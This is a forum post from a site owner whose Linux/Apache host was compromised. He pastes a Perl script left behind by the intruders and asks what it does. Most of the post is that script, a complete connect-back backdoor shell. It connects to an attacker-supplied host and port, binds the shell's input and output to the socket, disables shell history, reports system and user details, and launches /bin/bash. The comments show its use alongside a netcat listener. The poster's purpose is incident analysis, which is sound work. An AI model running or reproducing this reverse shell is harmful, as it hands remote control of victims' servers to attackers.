Site hacked - Linux/Apache... Perl script involved?

Site hacked last Sunday. I changed the password a few times but somehow they got back in on Tuesday. Has been quiet for 24 hours now. I completely changed the password, wiped out all files in the directory, and re-uploaded clean files. Other than a few modified HTML pages, I found the Perl script listed below. I can't read Perl, can anyone make any sense of this? Does it give any clues as to how they got in? Hosting company has been less than helpful, unfortunately.

Thanks,
-Brad

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#!/usr/bin/perl
use IO::Socket;
#   Priv8 ** Priv8 ** Priv8
# IRAN HACKERS SABOTAGE Connect Back Shell          
# code by:LorD
# We Are :LorD-C0d3r-NT-\x90                                          
# Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system      = '/bin/bash';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--  \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF